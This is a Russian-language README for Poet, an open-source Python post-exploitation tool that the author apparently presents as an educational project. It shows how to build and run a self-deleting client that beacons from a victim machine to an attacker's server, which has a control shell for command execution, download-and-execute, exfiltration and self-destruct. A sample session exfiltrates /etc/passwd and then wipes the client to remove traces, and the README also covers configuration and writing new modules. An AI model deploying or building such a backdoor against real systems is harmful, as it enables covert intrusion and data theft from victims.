
[не поддерживается] Инструмент пост-эксплуатации
Простой инструмент для пост-эксплуатации.
Клиентская программа запускается на целевой машине и настраивается с IP-адресом (сервера) для подключения и частотой подключения. Если сервер не работает в момент попытки подключения клиента, клиент тихо засыпает и пытается снова через заданный интервал. Если же сервер запущен, атакующий получает управляющую оболочку для управления клиентом и выполнения различных действий на цели, включая:
Это лишь небольшой пример того, что может сделать Poet.
Сценарий: атакующий получил доступ к машине жертвы, загрузил и выполнил клиент. Сервер на данный момент не запущен, но это не страшно — клиент терпеливо ждет. В конце концов атакующий готовится и запускает сервер, сначала запускает оболочку и выполняет uname -a, затем эксфильтрует /etc/passwd. После этого он выходит и отсоединяется от клиента, который продолжает работу на цели и ждет следующей возможности подключиться к серверу. Позже он подключается снова, самоуничтожая клиент и удаляя все следы с цели.
Машина жертвы (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
Предупреждение: После выполнения этой команды вам нужно будет либо выполнить
selfdestructс сервера, либо убить процессpoet-client, чтобы остановить клиент.
Машина атакующего (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
Перейдите на страницу релизов и загрузите последние файлы poet-client и poet-server.
Затем перейдите к разделу Использование ниже.
Кроме того, вы можете собрать Poet самостоятельно (это довольно просто, см. ниже).
Убедитесь, что в вашей системе доступны исполняемые файлы python2.7 и zip.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
Это создаст каталог bin/, содержащий poet-client и poet-server.
Poet очень прост в использовании и не требует ничего, кроме стандартной библиотеки Python (2.7). Для простого тестирования типичный вызов будет выглядеть так:
Терминал 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
По умолчанию клиент Poet демонизируется и удаляет себя с диска, поэтому это поведение подавляется с помощью флагов
--debugи--no-selfdestruct.
Терминал 2:
$ sudo ./poet-server
По умолчанию сервер должен запускаться от root (с помощью
sudo), потому что по умолчанию он привязывается к порту 443. Если это вас беспокоит, просто опуститеsudoи используйте флаг-p <PORT>как на клиенте, так и на сервере. Выберите высокий номер порта (> 1024).
Файл common/config.py содержит различные необязательные настройки конфигурации для сборок Poet.
AUTH: Секретный токен аутентификации, общий для клиента и сервера для аутентификации клиента. Обратите внимание, что значение по умолчанию отнюдь не секретно. Для любого использования, отличного от тестирования, рекомендуется изменить его на другое непредсказуемое значение. Обратите внимание, что предварительно собранные пакеты используют токен аутентификации по умолчанию (открытый).ARCHIVE_DIR: Каталог, используемый сервером для хранения файлов (вывод выполнения команд, эксфильтрация, разведка и т.д.).SERVER_IP: IP-адрес сервера.BEACON_INTERVAL: Интервал в секундах между маячками клиента к серверу.Конфигурации SERVER_IP и BEACON_INTERVAL позволяют включить информацию, ранее требуемую в аргументах командной строки, непосредственно в конечные исполняемые файлы, так что конечный исполняемый файл может быть запущен без аргументов. Значение None для любого из них возвращает их к поведению по умолчанию (обязательный аргумент командной строки для SERVER_IP, необязательный аргумент командной строки для BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet — это клиент-серверное приложение. Клиент выполняется на цели и отправляет маячки обратно на сервер с заданным интервалом времени. Единственный обязательный аргумент — IP-адрес, где работает или будет работать сервер. После него можно указать интервал времени в секундах для отправки маячков, по умолчанию — 10 минут. Порт, на который клиент будет отправлять маячки, можно указать с помощью флага -p. Все остальные флаги не используются в «реальном» сценарии и существуют в основном для отладки.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
Сервер выполняется на собственной машине пользователя и ожидает маячки от клиента. По умолчанию он прослушивает привилегированный порт (443) и должен запускаться с привилегиями (которые быстро сбрасываются после привязки). Флаг -p можно использовать для обхода этого, выбрав непривилегированный порт для прослушивания (>1024).
Poet очень расширяем благодаря своей модульной системе; по сути, почти каждая команда, доступная в оболочке posh, реализована в виде модуля. Их можно просмотреть в каталоге common/modules/. Файл common/modules/template.py служит минимальным примером модуля, который можно использовать как отправную точку. Чтобы добавить модуль Poet, просто поместите его в каталог common/modules/ и пересоберите Poet с помощью make.
Вот простой пример модуля, показывающий базовую связь между клиентом и сервером. Модуль регистрирует команду posh, отправляет строку на сервер, клиент переворачивает её и отправляет обратно, а сервер выводит результат.
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
Модуль начинается с
import module
Это обязательно и необходимо для регистрации в модульном фреймворке.
Следующая часть — серверный компонент модуля.
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
Декоратор @module.server_handler() используется для регистрации команды posh путём передачи имени команды в качестве параметра декоратора и определения функции-обработчика, которая будет выполняться при запуске команды. Функция-обработчик должна принимать два параметра: один — экземпляр PoetServer, который вызвал модуль, а другой — введённую командную строку, представленную в виде списка аргументов. Экземпляр сервера существует, чтобы модуль мог использовать вспомогательные функции для связи с клиентом, записи файлов в каталог архива и т. д. Модуль использует server.conn.exchange() для отправки командной строки клиенту в виде строки и получения ответа в качестве возвращаемого значения.
Далее идёт клиентский компонент модуля.
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
Декоратор @module.client_handler() используется для регистрации задачи, на которую клиент должен реагировать и обрабатывать. Поскольку клиент и сервер обмениваются строками, первая часть строки является ключевым словом для конкретной задачи. Модуль регистрирует функцию-обработчик клиента, которая выполняется, когда от сервера приходит сообщение, начинающееся с 'reverse'. Как и обработчик сервера, обработчик клиента должен принимать параметры для экземпляра PoetClient, который его вызвал, и входную строку, переданную от сервера. Затем клиент использует функцию client.s.send() для отправки данных обратно на сервер — в данном случае перевёрнутого первого аргумента.
В действии это выглядит так
posh > reverse poet
Sending: poet
Received: teop
Задокументированные проблемы:
Я создаю Poet исключительно для собственного образования и получения опыта. Код свободно доступен, потому что я думаю, что он может быть полезен другим, заинтересованным в изучении подобных вещей. Используйте его ответственно.